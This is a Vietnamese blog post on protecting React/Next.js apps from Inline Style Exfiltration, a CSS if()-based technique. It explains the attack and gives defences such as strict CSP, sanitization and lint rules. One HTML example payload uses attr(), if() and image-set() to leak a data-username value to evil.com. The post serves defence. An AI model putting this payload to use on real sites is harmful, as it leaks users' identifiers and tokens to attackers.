0
0
Lập trình
Hưng Nguyễn Xuân 1
Hưng Nguyễn Xuân 1xuanhungptithcm

Cách Bảo Vệ Ứng Dụng React/Next.js Trước Tấn Công ISE

Đăng vào 8 tháng trước

• 5 phút đọc

Cách Bảo Vệ Ứng Dụng React/Next.js Trước Tấn Công Inline Style Exfiltration (ISE)

Giới thiệu

Vào tháng 8 năm 2025, Gareth Heyes từ PortSwigger đã giới thiệu một vector tấn công mới có tên là Inline Style Exfiltration (ISE). Kẻ tấn công có thể lấy cắp giá trị thuộc tính từ DOM chỉ bằng cách sử dụng inline styles — không cần tới stylesheet bên ngoài hay selector.

⚠️ Tại thời điểm viết bài, kỹ thuật này hoạt động trên các trình duyệt dựa trên Chromium.


Cách thức hoạt động của tấn công ISE

Đột phá đến từ hàm CSS if(). Hàm này cho phép các nhà phát triển (và cả kẻ tấn công) viết các biểu thức điều kiện ngay trong CSS.

html Copy
<div style='\n  --val: attr(data-username);\n  --steal: if(style(--val:"alice"): url(https://evil.com/alice);\n           else: url(https://evil.com/bob));\n  background: image-set(var(--steal));\n' data-username="bob">Test</div>

Phân tích mã

  • attr(data-username) trích xuất thuộc tính.
  • if(style(--val:"alice") …) kiểm tra xem giá trị có khớp không.
  • image-set() kích hoạt yêu cầu đến máy chủ của kẻ tấn công khi tìm thấy sự khớp.

Bằng cách kết hợp nhiều điều kiện if(), kẻ tấn công có thể brute-force các giá trị thuộc tính như data-uid hoặc data-username.


Tại sao ứng dụng React/Next.js lại dễ bị tấn công

React khiến việc truyền props trực tiếp vào thuộc tính style hoặc data-* trở nên dễ dàng. Khi kết hợp với ISE, điều này có thể rò rỉ ID người dùng, tên người dùng, hoặc thậm chí các token nếu chúng vô tình bị lộ trong các thuộc tính DOM.


Chiến lược giảm thiểu rủi ro

1. Không bao giờ ánh xạ đầu vào của người dùng vào style

Sai:

html Copy
<div style={{ backgroundImage: userInput }} />

Đúng:

javascript Copy
const bgToken = ALLOWED_BG[userChoice] ?? 'bg-default';
return <div className={bgToken} />;

Cho phép chỉ các đơn vị đã được whitelist (px, rem, %) và các định dạng màu sắc (#RRGGBB). Loại bỏ các hàm như url(), if(), attr(), image-set(), style().


2. Không lưu trữ bí mật trong data-*

Không bao giờ đặt ID, email, token, hoặc vai trò trong data-*. Giữ chúng trong trạng thái React, context, hoặc cookie HttpOnly.


3. Sử dụng CSP để chặn các kiểu inline

Thêm một Content-Security-Policy nghiêm ngặt. Phần quan trọng: không cho phép thuộc tính style="".

Content-Security-Policy:

plaintext Copy
  default-src 'self';
  style-src 'self';
  style-src-attr 'none';
  style-src-elem 'self' 'nonce-<nonce>';
  img-src 'self' https://cdn.example.com;
  connect-src 'self';
  base-uri 'none';
  frame-ancestors 'none';
  • style-src-attr 'none' chặn các thuộc tính kiểu inline.
  • Lý tưởng nhất, bạn nên sử dụng style-src-elem 'nonce-...' với nonces cho các thẻ <style>.
  • Trong Next.js, điều này có thể phức tạp vì framework tự động chèn các kiểu của riêng nó.

Các phương án thay thế thực tiễn:

  • Bắt đầu với style-src-elem 'self'.
  • Hoặc sử dụng hashes (sha256-...) cho các kiểu inline quan trọng mà Next.js tạo ra.

👉 Xem tài liệu chính thức của Next.js về CSP

Trong Next.js

javascript Copy
// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: `
      default-src 'self';
      style-src 'self';
      style-src-attr 'none';
      style-src-elem 'self' 'nonce-__INLINE_STYLE_NONCE__';
      img-src 'self' https://cdn.example.com;
      connect-src 'self';
      base-uri 'none';
      frame-ancestors 'none';
    `.replace(/\s{2,}/g, ' ')
  }
];

module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  }
};

4. Làm sạch HTML do người dùng tạo ra

Nếu bạn cho phép sử dụng Markdown hoặc trình soạn thảo WYSIWYG:

  • Sử dụng DOMPurify/rehype-sanitize trên máy chủ.
  • Cấm các thuộc tính style (FORBID_ATTR: ['style']).
  • Nếu style phải được cho phép, thực thi một danh sách cho phép nghiêm ngặt (ví dụ: chỉ color, font-size).

5. Kiểm tra & CI

  • Quy tắc ESLint: cấm dangerouslySetInnerHTML và chuỗi thô trong style.
  • Sử dụng grep/regex trong CI để tìm kiếm các hàm CSS đáng ngờ (url(, if(, attr(, image-set().
  • Đảm bảo không có thuộc tính data-* nhạy cảm trong JSX.

6. Thiết kế thành phần

Expose enums hoặc theme tokens như props, không bao giờ sử dụng CSS thô.

❌ Thay vì:

javascript Copy
<Button color={userInput} />

✅ Nên:

javascript Copy
<Button variant={userChoice === "danger" ? "danger" : "primary"} />

7. Giám sát

ISE thường brute-force các thuộc tính bằng cách thực hiện hàng chục yêu cầu nhỏ (/1, /2, /3).

  • Sử dụng CSP report-to / report-uri để phát hiện các vi phạm.
  • Cảnh báo về các yêu cầu đáng ngờ trong CDN hoặc nhật ký của bạn.

Danh sách kiểm tra rà soát

  • Không có unsafe-inline trong CSP.
  • style-src-attr 'none' đã được kích hoạt.
  • style-src-elem được giới hạn (self, nonces, hoặc hashes).
  • img-srcconnect-src được giới hạn ở các miền tin cậy. Điều này không chỉ ngăn chặn rò rỉ ISE mà còn cả việc rò rỉ dữ liệu cổ điển thông qua <img src> hoặc fetch.
  • Không ánh xạ đầu vào thô vào style hoặc các biến CSS.
  • Dữ liệu nhạy cảm không nằm trong data-*.
  • Các bộ lọc làm sạch loại bỏ hoặc hạn chế style.
  • Các quy tắc lint thực thi các mẫu an toàn.
  • Nội dung do người dùng tạo ra được hiển thị trong các miền sandbox/isolated.

Sơ đồ: Cách data-uid bị rò rỉ qua ISE

plaintext Copy
Trình duyệt của nạn nhân:
<div data-uid="5">

Các điều kiện CSS inline:
if(data-uid="1") → /1
...
if(data-uid="5") → /5

Máy chủ của kẻ tấn công:
Ghi lại yêu cầu /5

Để rõ ràng, sơ đồ được đơn giản hóa. ISE thực sự sử dụng các điều kiện kiểu inline (if(), style()).


Kết luận

CSS không còn chỉ là “declarative.” Với if(), giờ đây nó hỗ trợ logic điều kiện — và những rủi ro mới.

Đối với các ứng dụng Next.js, công thức rất đơn giản:

  • không có kiểu inline từ dữ liệu
  • CSP nghiêm ngặt với style-src-attr 'none'
  • làm sạch một cách mạnh mẽ
  • thiết kế các thành phần dựa trên tokens, không phải CSS thô

Tài liệu tham khảo

  • Gareth Heyes — Inline Style Exfiltration: rò rỉ dữ liệu với các điều kiện CSS liên kết (PortSwigger, 2025)
  • MDN: CSS if()
  • Content Security Policy Level 3 (W3C)
  • Tài liệu Next.js: Content Security Policy
Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào